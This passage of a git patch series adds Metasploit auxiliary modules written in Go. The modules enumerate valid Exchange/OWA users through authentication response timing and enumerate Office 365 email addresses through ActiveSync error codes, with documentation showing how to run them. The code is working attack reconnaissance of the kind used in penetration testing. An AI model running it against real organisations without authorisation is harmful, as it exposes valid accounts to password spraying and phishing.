msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return []string{} + } + var validusers []string + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for user := range queue { + startTime := time.Now() + webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) + elapsedTime := time.Since(startTime) + + if float64(elapsedTime) < float64(avgResponse)*0.77 { + mux.Lock() + module.LogInfo("[+] " + user + " - " + string(elapsedTime)) + validusers = append(validusers, user) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo("[-] " + user + " - " + string(elapsedTime)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(userlist); i++ { + queue <- userlist[i] + } + + close(queue) + wg.Wait() + return validusers +} + +func basicAuthAvgTime(host string) time.Duration { + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return -1 + } + + //We are determining sample auth response time for invalid users, the password used is irrelevant. + pass := "Summer201823904" + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + module.LogInfo("Collecting sample auth times...") + + var sliceOfTimes []float64 + var medianTime float64 + + usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} + for i := 0; i < len(usernamelist)-1; i++ { + startTime := time.Now() + webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) + elapsedTime := time.Since(startTime) + if elapsedTime > time.Second*15 { + module.LogInfo("Response taking longer than 15 seconds, setting time:") + module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime))) + return time.Duration(elapsedTime) + } + if i != 0 { + module.LogInfo(elapsedTime.String()) + sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) + } + } + sort.Float64s(sliceOfTimes) + if len(sliceOfTimes)%2 == 0 { + positionOne := len(sliceOfTimes)/2 - 1 + positionTwo := len(sliceOfTimes) / 2 + medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 + } else if len(sliceOfTimes)%2 != 0 { + position := len(sliceOfTimes)/2 - 1 + medianTime = sliceOfTimes[position] + } else { + module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") + } + module.LogInfo("Avg Response: " + string(time.Duration(medianTime))) + return time.Duration(medianTime) +} + +func o365enum(emaillist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + //limit := 100 + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018876" + URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync" + var validemails []string + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for email := range queue { + responseCode := webRequestBasicAuth(URI, email, pass, tr) + if strings.Contains(email, "@") && responseCode == 401 { + mux.Lock() + module.LogInfo("[+] " + email + " - 401") + validemails = append(validemails, email) + mux.Unlock() + } else if strings.Contains(email, "@") && responseCode == 404 { + mux.Lock() + module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(emaillist); i++ { + queue <- emaillist[i] + } + + close(queue) + wg.Wait() + return validemails +} + +func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { + timeout := time.Duration(45 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + req.SetBasicAuth(user, pass) + resp, err := client.Do(req) + if err != nil { + module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) + module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") + module.LogInfo("Consider lowering amount of threads used for enumeration.") + module.LogError(err.Error()) + } + return resp.StatusCode +} + +func reportValidUsers(ip string, validUsers []string) { + port := "443" + service := "owa" + protocol := "tcp" + for _, user := range validUsers { + opts := map[string]string{ + "port": port, + "service_name": service, + "address": ip, + "protocol": protocol, + "fullname": "auxiliary/scanner/msmail/msmail_enum", + } + module.ReportCredentialLogin(user,"", opts) + } +} From 5b926bcbcf56f8aaec0deda17c2a2072591d5f97 Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Fri, 30 Nov 2018 13:18:02 -0600 Subject: [PATCH 4/7] Addressed feedback --- .../auxiliary/scanner/msmail/host_id.md | 22 +++++++++++++++++-- .../auxiliary/scanner/msmail/user_enum.md | 12 ++++++++-- lib/msf/core/module/external.rb | 1 - modules/auxiliary/scanner/msmail/host_id.go | 3 +-- .../msmail/shared/src/msmail/msmail.go | 2 +- modules/auxiliary/scanner/msmail/user_enum.go | 15 ++++++------- 6 files changed, 39 insertions(+), 16 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/msmail/host_id.md b/documentation/modules/auxiliary/scanner/msmail/host_id.md index adfb092ab8..2fd9de2f39 100644 --- a/documentation/modules/auxiliary/scanner/msmail/host_id.md +++ b/documentation/modules/auxiliary/scanner/msmail/host_id.md @@ -14,7 +14,25 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. ## Verification - Start `msfconsole` -- `use auxiliary/scanner/msmail/identify` +- `use auxiliary/scanner/msmail/host_id` - `set RHOSTS ` - `run` -- **Verify** the result is as expected + +*Results should look like below:* + +``` +msf5 > use auxiliary/scanner/msmail/host_id +msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS +RHOSTS => +msf5 auxiliary(scanner/msmail/host_id) > run + +[*] Running for ... +[*] Attempting to harvest internal domain: +[*] Internal Domain: +[*] +[*] Domain is not using o365 resources. +[*] Identifying endpoints vulnerable to time-based enumeration: +[*] [+] https:///Microsoft-Server-ActiveSync +[*] [+] https:///autodiscover/autodiscover.xml +[*] [+] https:///owa +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/msmail/user_enum.md b/documentation/modules/auxiliary/scanner/msmail/user_enum.md index 7e5de7cd61..f6e8be6f21 100644 --- a/documentation/modules/auxiliary/scanner/msmail/user_enum.md +++ b/documentation/modules/auxiliary/scanner/msmail/user_enum.md @@ -14,5 +14,13 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. - `set RHOSTS ` - `set OnPrem true` and (set `USER` or `USER_FILE`) OR `set O365 true` and (set `EMAIL` or `EMAIL_FILE`) - `run` -- `creds` shows valid users -- **Verify** the result is as expected +- `creds` + +*Results should look something like below if valid users were found:* + +``` +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +10.1.1.1 10.1.1.1 443/tcp (owa) +10.1.1.1 10.1.1.1 443/tcp (owa) chris +``` diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb index 6ffad73e3a..bac58d211c 100644 --- a/lib/msf/core/module/external.rb +++ b/lib/msf/core/module/external.rb @@ -149,7 +149,6 @@ def handle_credential_login(data, mod) }.merge(service_data) if data.has_key?(:password) - print_warning "In pass" credential_data[:private_data] = data['password'] credential_data[:private_type] = :password end diff --git a/modules/auxiliary/scanner/msmail/host_id.go b/modules/auxiliary/scanner/msmail/host_id.go index 45e21289e7..47b6757661 100755 --- a/modules/auxiliary/scanner/msmail/host_id.go +++ b/modules/auxiliary/scanner/msmail/host_id.go @@ -29,7 +29,7 @@ func main() { Type: "single_scanner", Privileged: false, References: []module.Reference{}, - Options: map[string]module.Option{}, + Options: map[string]module.Option{}, } module.Init(metadata, run_id) @@ -101,4 +101,3 @@ func urlEnum(hostInput string) { module.LogInfo("No onprem Exchange services identified.") } } - diff --git a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go index 1aebb26c7b..45085c3cfa 100644 --- a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go +++ b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go @@ -99,4 +99,4 @@ func HarvestInternalDomain(host string, outputDomain bool) string { module.LogInfo(string(internalDomainDecimal)) } return string(internalDomainDecimal) -} \ No newline at end of file +} diff --git a/modules/auxiliary/scanner/msmail/user_enum.go b/modules/auxiliary/scanner/msmail/user_enum.go index 566e2ffcf9..90b54ba9a4 100755 --- a/modules/auxiliary/scanner/msmail/user_enum.go +++ b/modules/auxiliary/scanner/msmail/user_enum.go @@ -14,13 +14,13 @@ import ( "fmt" "io/ioutil" "metasploit/module" + "msmail" "net/http" "sort" "strconv" "strings" "sync" "time" - "msmail" ) func main() { @@ -126,7 +126,6 @@ func runO365(params map[string]interface{}, threads int) { reportValidUsers(host, validUsers) } - func importUserList(tempname string) []string { userFileBytes, err := ioutil.ReadFile(tempname) if err != nil { @@ -235,7 +234,7 @@ func basicAuthAvgTime(host string) time.Duration { elapsedTime := time.Since(startTime) if elapsedTime > time.Second*15 { module.LogInfo("Response taking longer than 15 seconds, setting time:") - module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime))) + module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String()) return time.Duration(elapsedTime) } if i != 0 { @@ -254,7 +253,7 @@ func basicAuthAvgTime(host string) time.Duration { } else { module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") } - module.LogInfo("Avg Response: " + string(time.Duration(medianTime))) + module.LogInfo("Avg Response: " + time.Duration(medianTime).String()) return time.Duration(medianTime) } @@ -337,10 +336,10 @@ func reportValidUsers(ip string, validUsers []string) { opts := map[string]string{ "port": port, "service_name": service, - "address": ip, - "protocol": protocol, - "fullname": "auxiliary/scanner/msmail/msmail_enum", + "address": ip, + "protocol": protocol, + "fullname": "auxiliary/scanner/msmail/user_enum", } - module.ReportCredentialLogin(user,"", opts) + module.ReportCredentialLogin(user, "", opts) } } From b11bcd92a4658f8709f5f502ff8df1d487ca7519 Mon Sep 17 00:00:00 2001 From: Christopher Lee Date: Mon, 3 Dec 2018 10:25:21 -0600 Subject: [PATCH 5/7] Broken into 3 modules, addressed review comments --- .../auxiliary/scanner/msmail/exchange_enum.md | 24 ++ .../auxiliary/scanner/msmail/host_id.md | 6 +- .../msmail/{user_enum.md => onprem_enum.md} | 7 +- lib/msf/core/module/external.rb | 2 +- lib/msf/core/modules/external/bridge.rb | 2 +- .../auxiliary/scanner/msmail/exchange_enum.go | 117 ++++++ modules/auxiliary/scanner/msmail/host_id.go | 19 +- .../auxiliary/scanner/msmail/onprem_enum.go | 183 ++++++++++ .../msmail/shared/src/msmail/msmail.go | 49 +++ modules/auxiliary/scanner/msmail/user_enum.go | 345 ------------------ 10 files changed, 387 insertions(+), 367 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/msmail/exchange_enum.md rename documentation/modules/auxiliary/scanner/msmail/{user_enum.md => onprem_enum.md} (75%) create mode 100755 modules/auxiliary/scanner/msmail/exchange_enum.go create mode 100755 modules/auxiliary/scanner/msmail/onprem_enum.go delete mode 100755 modules/auxiliary/scanner/msmail/user_enum.go diff --git a/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md new file mode 100644 index 0000000000..1dad3bc845 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/msmail/exchange_enum.md @@ -0,0 +1,24 @@ +OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. +This module leverages all known, and even some lesser-known services exposed by default +Exchange installations to enumerate email. + +Error-based user enumeration for Office 365 integrated email addresses + +**Note:** Currently requires RHOSTS which is not used + +## Verification + +- Start `msfconsole` +- `use auxiliary/scanner/msmail/exchange_enum` +- `set RHOSTS ` +- `set (`EMAIL` or `EMAIL_FILE`)` +- `run` +- `creds` + +*Results should look something like below if valid users were found:* + +``` +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ + 443/tcp (owa) chris@somecompany.com +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/msmail/host_id.md b/documentation/modules/auxiliary/scanner/msmail/host_id.md index 2fd9de2f39..a9224acf64 100644 --- a/documentation/modules/auxiliary/scanner/msmail/host_id.md +++ b/documentation/modules/auxiliary/scanner/msmail/host_id.md @@ -30,9 +30,13 @@ msf5 auxiliary(scanner/msmail/host_id) > run [*] Attempting to harvest internal domain: [*] Internal Domain: [*] -[*] Domain is not using o365 resources. +[*] [-] Domain is not using o365 resources. [*] Identifying endpoints vulnerable to time-based enumeration: [*] [+] https:///Microsoft-Server-ActiveSync [*] [+] https:///autodiscover/autodiscover.xml [*] [+] https:///owa +[*] Identifying exposed Exchange endpoints for potential spraying: +[*] [+] https:///oab +[*] [+] https:///ews + ``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/scanner/msmail/user_enum.md b/documentation/modules/auxiliary/scanner/msmail/onprem_enum.md similarity index 75% rename from documentation/modules/auxiliary/scanner/msmail/user_enum.md rename to documentation/modules/auxiliary/scanner/msmail/onprem_enum.md index f6e8be6f21..a84f2a1697 100644 --- a/documentation/modules/auxiliary/scanner/msmail/user_enum.md +++ b/documentation/modules/auxiliary/scanner/msmail/onprem_enum.md @@ -2,17 +2,16 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. This module leverages all known, and even some lesser-known services exposed by default Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. -**Userenum (o365) Command** -- Error-based user enumeration for Office 365 integrated email addresses +- Error-based user enumeration for on premise Exchange services **Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed ## Verification - Start `msfconsole` -- `use auxiliary/scanner/msmail/user_enum` +- `use auxiliary/scanner/msmail/onprem_enum` - `set RHOSTS ` -- `set OnPrem true` and (set `USER` or `USER_FILE`) OR `set O365 true` and (set `EMAIL` or `EMAIL_FILE`) +- `set (`USER` or `USER_FILE`) - `run` - `creds` diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb index bac58d211c..6f4ca01acd 100644 --- a/lib/msf/core/module/external.rb +++ b/lib/msf/core/module/external.rb @@ -138,7 +138,7 @@ def handle_credential_login(data, mod) port: data['port'], protocol: data['protocol'], service_name: data['service_name'], - module_fullname: data['fullname'], + module_fullname: self.fullname, workspace_id: myworkspace_id } diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index c5d718ab1e..04e1890d62 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -209,7 +209,7 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path end - self.env = self.env.merge({ 'GOPATH' => go_path}) + self.env = self.env.merge({'GOPATH' => go_path}) self.cmd = ['go', 'run', self.path] end end diff --git a/modules/auxiliary/scanner/msmail/exchange_enum.go b/modules/auxiliary/scanner/msmail/exchange_enum.go new file mode 100755 index 0000000000..db4992954b --- /dev/null +++ b/modules/auxiliary/scanner/msmail/exchange_enum.go @@ -0,0 +1,117 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +package main + +import ( + "crypto/tls" + "fmt" + "metasploit/module" + "msmail" + "net/http" + "strconv" + "strings" + "sync" +) + +func main() { + metadata := &module.Metadata{ + Name: "Exchange email enumeration", + Description: "Error-based user enumeration for Office 365 integrated email addresses", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "RHOSTS": {Type: "string", Description: "Target endpoint", Required: true, Default: "outlook.office365.com"}, + "EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, + "EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, + }} + + module.Init(metadata, run_exchange_enum) +} + +func run_exchange_enum(params map[string]interface{}) { + email := params["EMAIL"].(string) + emailFile := params["EMAIL_FILE"].(string) + threads, e := strconv.Atoi(params["THREADS"].(string)) + ip := params["rhost"].(string) + + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if email == "" && emailFile == "" { + module.LogError("Expected 'EMAIL' or 'EMAIL_FILE' field to be populated") + return + } + + var validUsers []string + if email != "" { + validUsers = o365enum(ip, []string{email}, threads) + } + + if emailFile != "" { + validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads) + } + + msmail.ReportValidUsers(ip, validUsers) +} + +func o365enum(ip string, emaillist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + //limit := 100 + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018876" + URI := "https://" + ip + "/Microsoft-Server-ActiveSync" + var validemails []string + + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for email := range queue { + responseCode := msmail.WebRequestBasicAuth(URI, email, pass, tr) + if strings.Contains(email, "@") && responseCode == 401 { + mux.Lock() + module.LogInfo("[+] " + email + " - 401") + validemails = append(validemails, email) + mux.Unlock() + } else if strings.Contains(email, "@") && responseCode == 404 { + mux.Lock() + module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode)) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode)) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(emaillist); i++ { + queue <- emaillist[i] + } + + close(queue) + wg.Wait() + return validemails +} \ No newline at end of file diff --git a/modules/auxiliary/scanner/msmail/host_id.go b/modules/auxiliary/scanner/msmail/host_id.go index 47b6757661..c00c1619e9 100755 --- a/modules/auxiliary/scanner/msmail/host_id.go +++ b/modules/auxiliary/scanner/msmail/host_id.go @@ -1,16 +1,5 @@ //usr/bin/env go run "$0" "$@"; exit "$?" -/* - OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. - This module leverages all known, and even some lesser-known services exposed by default - Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. - - Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain - Queries for specific DNS records related to Office 365 integration - Attempts to extract internal domain name for onprem instance of Exchange - Identifies services vulnerable to time-based user enumeration for onprem Exchange - Lists password-sprayable services exposed for onprem Exchange host -*/ package main import ( @@ -22,8 +11,8 @@ import ( func main() { metadata := &module.Metadata{ - Name: "msmail_ident", - Description: "Office 365 and Exchange Enumeration", + Name: "Vulnerable domain identification", + Description: "Identifying potentially vulnerable Exchange endpoints", Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, Date: "2018-11-06", Type: "single_scanner", @@ -46,11 +35,11 @@ func urlEnum(hostInput string) { o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" addr, err := net.LookupIP(o365Domain) if err != nil { - module.LogInfo("Domain is not using o365 resources.") + module.LogInfo("[-] Domain is not using o365 resources.") } else if addr == nil { module.LogError("error") } else { - module.LogInfo("Domain is using o365 resources.") + module.LogInfo("[+] Domain is using o365 resources.") } asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" diff --git a/modules/auxiliary/scanner/msmail/onprem_enum.go b/modules/auxiliary/scanner/msmail/onprem_enum.go new file mode 100755 index 0000000000..2f788ccb71 --- /dev/null +++ b/modules/auxiliary/scanner/msmail/onprem_enum.go @@ -0,0 +1,183 @@ +//usr/bin/env go run "$0" "$@"; exit "$?" + +package main + +import ( + "crypto/tls" + "metasploit/module" + "msmail" + "net/http" + "sort" + "strconv" + "sync" + "time" +) + +func main() { + metadata := &module.Metadata{ + Name: "On premise user enumeration", + Description: "On premise enumeration of valid exchange users", + Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, + Date: "2018-11-06", + Type: "single_scanner", + Privileged: false, + References: []module.Reference{}, + Options: map[string]module.Option{ + "USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, + "USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, + }} + + module.Init(metadata, run_onprem_enum) +} + +func run_onprem_enum(params map[string]interface{}) { + userFile := params["USER_FILE"].(string) + userName := params["USERNAME"].(string) + host := params["rhost"].(string) + threads, e := strconv.Atoi(params["THREADS"].(string)) + if e != nil { + module.LogError("Unable to parse 'Threads' value using default (5)") + threads = 5 + } + + if threads > 100 { + module.LogInfo("Threads value too large, setting max(100)") + threads = 100 + } + + if userFile == "" && userName == "" { + module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated") + return + } + + var validUsers []string + avgResponse := basicAuthAvgTime(host) + if userFile != "" { + validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads) + } else { + validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads) + } + + msmail.ReportValidUsers(host, validUsers) +} + +func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { + limit := threads + var wg sync.WaitGroup + mux := &sync.Mutex{} + queue := make(chan string) + + /*Keep in mind you, nothing has been added to handle successful auths + so the password for auth attempts has been hardcoded to something + that is not likely to be correct. + */ + pass := "Summer2018978" + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return []string{} + } + var validusers []string + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + for i := 0; i < limit; i++ { + wg.Add(1) + go func(i int) { + defer wg.Done() + for user := range queue { + startTime := time.Now() + msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr) + elapsedTime := time.Since(startTime) + + if float64(elapsedTime) < float64(avgResponse)*0.77 { + mux.Lock() + module.LogInfo("[+] " + user + " - " + elapsedTime.String()) + validusers = append(validusers, user) + mux.Unlock() + } else { + mux.Lock() + module.LogInfo("[-] " + user + " - " + elapsedTime.String()) + mux.Unlock() + } + } + }(i) + } + + for i := 0; i < len(userlist); i++ { + queue <- userlist[i] + } + + close(queue) + wg.Wait() + return validusers +} + +func basicAuthAvgTime(host string) time.Duration { + internaldomain := msmail.HarvestInternalDomain(host, false) + url1 := "https://" + host + "/autodiscover/autodiscover.xml" + url2 := "https://" + host + "/Microsoft-Server-ActiveSync" + url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml" + var urlToHarvest string + if msmail.WebRequestCodeResponse(url1) == 401 { + urlToHarvest = url1 + } else if msmail.WebRequestCodeResponse(url2) == 401 { + urlToHarvest = url2 + } else if msmail.WebRequestCodeResponse(url3) == 401 { + urlToHarvest = url3 + } else { + module.LogInfo("Unable to resolve host provided to determine valid users.") + return -1 + } + + //We are determining sample auth response time for invalid users, the password used is irrelevant. + pass := "Summer201823904" + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + module.LogInfo("Collecting sample auth times...") + + var sliceOfTimes []float64 + var medianTime float64 + + usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"} + for i := 0; i < len(usernamelist)-1; i++ { + startTime := time.Now() + msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr) + elapsedTime := time.Since(startTime) + if elapsedTime > time.Second*15 { + module.LogInfo("Response taking longer than 15 seconds, setting time:") + module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String()) + return time.Duration(elapsedTime) + } + if i != 0 { + module.LogInfo(elapsedTime.String()) + sliceOfTimes = append(sliceOfTimes, float64(elapsedTime)) + } + } + sort.Float64s(sliceOfTimes) + if len(sliceOfTimes)%2 == 0 { + positionOne := len(sliceOfTimes)/2 - 1 + positionTwo := len(sliceOfTimes) / 2 + medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2 + } else if len(sliceOfTimes)%2 != 0 { + position := len(sliceOfTimes)/2 - 1 + medianTime = sliceOfTimes[position] + } else { + module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.") + } + module.LogInfo("Avg Response: " + time.Duration(medianTime).String()) + return time.Duration(medianTime) +} + + diff --git a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go index 45085c3cfa..a9125595b9 100644 --- a/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go +++ b/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go @@ -3,6 +3,8 @@ package msmail import ( "crypto/tls" "encoding/base64" + "fmt" + "io/ioutil" "metasploit/module" "net/http" "strings" @@ -100,3 +102,50 @@ func HarvestInternalDomain(host string, outputDomain bool) string { } return string(internalDomainDecimal) } + +func ReportValidUsers(ip string, validUsers []string) { + port := "443" + service := "owa" + protocol := "tcp" + for _, user := range validUsers { + opts := map[string]string{ + "port": port, + "service_name": service, + "address": ip, + "protocol": protocol, + } + module.LogInfo("Loging user: " + user) + module.ReportCredentialLogin(user, "", opts) + } +} + +func WebRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { + timeout := time.Duration(45 * time.Second) + client := &http.Client{ + Timeout: timeout, + Transport: tr, + } + req, err := http.NewRequest("GET", URI, nil) + req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") + req.SetBasicAuth(user, pass) + resp, err := client.Do(req) + if err != nil { + module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user)) + module.LogInfo("One of your requests has taken longer than 45 seconds to respond.") + module.LogInfo("Consider lowering amount of threads used for enumeration.") + module.LogError(err.Error()) + } + return resp.StatusCode +} + +func ImportUserList(tempname string) []string { + userFileBytes, err := ioutil.ReadFile(tempname) + if err != nil { + module.LogError(err.Error()) + } + var userFileString = string(userFileBytes) + userArray := strings.Split(userFileString, "\n") + //Delete last unnecessary newline inserted into this slice + userArray = userArray[:len(userArray)-1] + return userArray +} diff --git a/modules/auxiliary/scanner/msmail/user_enum.go b/modules/auxiliary/scanner/msmail/user_enum.go deleted file mode 100755 index 90b54ba9a4..0000000000 --- a/modules/auxiliary/scanner/msmail/user_enum.go +++ /dev/null @@ -1,345 +0,0 @@ -//usr/bin/env go run "$0" "$@"; exit "$?" - -/* - OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. - This module leverages all known, and even some lesser-known services exposed by default - Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. - - Error-based user enumeration for Office 365 integrated email addresses -*/ -package main - -import ( - "crypto/tls" - "fmt" - "io/ioutil" - "metasploit/module" - "msmail" - "net/http" - "sort" - "strconv" - "strings" - "sync" - "time" -) - -func main() { - metadata := &module.Metadata{ - Name: "msmail_enum", - Description: "Office 365 and Exchange Enumeration", - Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"}, - Date: "2018-11-06", - Type: "single_scanner", - Privileged: false, - References: []module.Reference{}, - Options: map[string]module.Option{ - "OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"}, - "O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"}, - "USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""}, - "USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""}, - "EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""}, - "EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""}, - }} - - module.Init(metadata, run_enum) -} - -func run_enum(params map[string]interface{}) { - onPrem, e := 